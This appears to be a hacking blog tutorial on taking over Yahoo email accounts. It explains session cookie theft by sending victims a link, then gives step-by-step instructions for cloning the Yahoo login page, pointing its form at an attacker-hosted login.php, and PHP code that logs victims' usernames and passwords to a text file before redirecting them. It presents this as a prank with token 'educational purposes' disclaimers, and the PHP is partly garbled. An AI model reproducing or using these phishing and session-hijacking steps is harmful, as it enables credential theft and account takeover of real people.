Lets discuss this in very simple language, Whenever we login in our account, it generates a unique string that contains the path of automatic login for particular time then after that limited time it expires by itself.
 
Note its life is only up to when your web browser is open. If you close your web browser it will be get deleted(Its latest up gradation in cookie's field for providing more security).
Now this unique string or simply called Magic cookie is stored at two places first copy is stored on server(of which we cannot do anything) and second is stored in our web browser in form of cookie.
This cookie is destroyed by three ways first is when you close your web browser, second is when you sign out of your account and third is if you left your account open for more than 20 minutes idle.



As i am explaining this tutorial for hacking yahoo email account. So in your web browser just open yahoo.com and login into your account.
After that type the below code exactly and then press enter:

javascript:alert(document.cookie);

Now a popup box will appear showing the cookies something like this:
 


Now create one fake account on yahoo.com and login in that account and retrieve the cookie in same manner and notice the changes in session ID's.


For hacking the session cookies we first need the session cookies of the victim and its quite simple to get the session cookies of the victim. You just need to send him one link as soon as he clicks on that we will get his session cookie.

After hacking the session cookies, we can use stolen session cookie to login into victim's account even without providing username and password as i already explained that session hacking removes the authentication on the server as we have the AUTO LOGIN cookie. In this type of attack when victim sign out , then hacker will also sign out. But in case of YAHOO its little bit different, when victim signout but attacker still have the access to his account. Yahoo maintains the session for 24 hours and then destroy the session ID's from its server.



1. Go to the Website and register there:

http://www.my3gb.com/register.jsp

This article is for educational purpose only, We want to make you aware how hacking is done, So don’t misuse this hacking tricks. We are not responsible for any wrong thing done by you

If you like playing pranks on your friends, then here is a sure shot way to baffle them. I will show you a way to get their username and passwords! This post will direct you as to, how to create a Fake Login Page to hack yahoo. 
Fake login page is a fake page, that exactly resembles the original login page of sites, which you can use to hack others username and password. 
To create a fake login page for other sites, like Gmail at all, the same procedure can be followed. So, let’s cut to the chase and go through the steps.

Here is the how-to guide to create a fake login page.
#1:- Go to the Yahoo login page
mail.yahoo.com
.
#2: - Save the page as Complete HTML file. (Not as .mht file, only for IE 7 users)
To save the page goto File - Save As
.
#3: - After saving, you will see a HTML file and a folder with the name -Yahoo! Mail The best web-based email!.
.
#4: - Ensure the folder contains necessary images and other support files. Now rename the Folder to “files“ and .HTML file to yahoo.HTML


#5: - Open the .HTML file using a WordPad. Change the links of all the files in the folder to /files.
For example you may find something like this in the opened HTML file:-
src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”
Rename the above link into
src=”files/ma_mail_1.gif”
Repeat the procedure for every file in the folder and use Ctrl F to find the links.

#6:- Search for the following term
action=https://login.yahoo.com/config/login

Edit this to:-
action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page and replace yoursite.com with yoursite.110mb.com or you can write your own code for login.php or search for Login script on Google.

#7 :- Upload your yahoo.HTML, files folder and login.php to
yoursite.com Root folder
NOTE: Make sure that your host supports PHP.

#8 :- Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com).

#9 : - Distribute the Yahoo.HTML URL (i.e: yoursite.com/yahoo.HTML). 
The login.php will save the username and password onto the .TXT file (or any other format) in your site. 
Download the file to see the password in it.
 

header(”Location: http://WEBSITE “);
$handle = fopen(”pass.txt”, “a”);
foreach($_GET as
$variable = $value) {

Add 'GREATER THAN' sign between variable= and $value.

fwrite($handle,$variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle,“rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;

Warning: Don’t try this at home, as Hacking is a Crime. Only for educational purposes.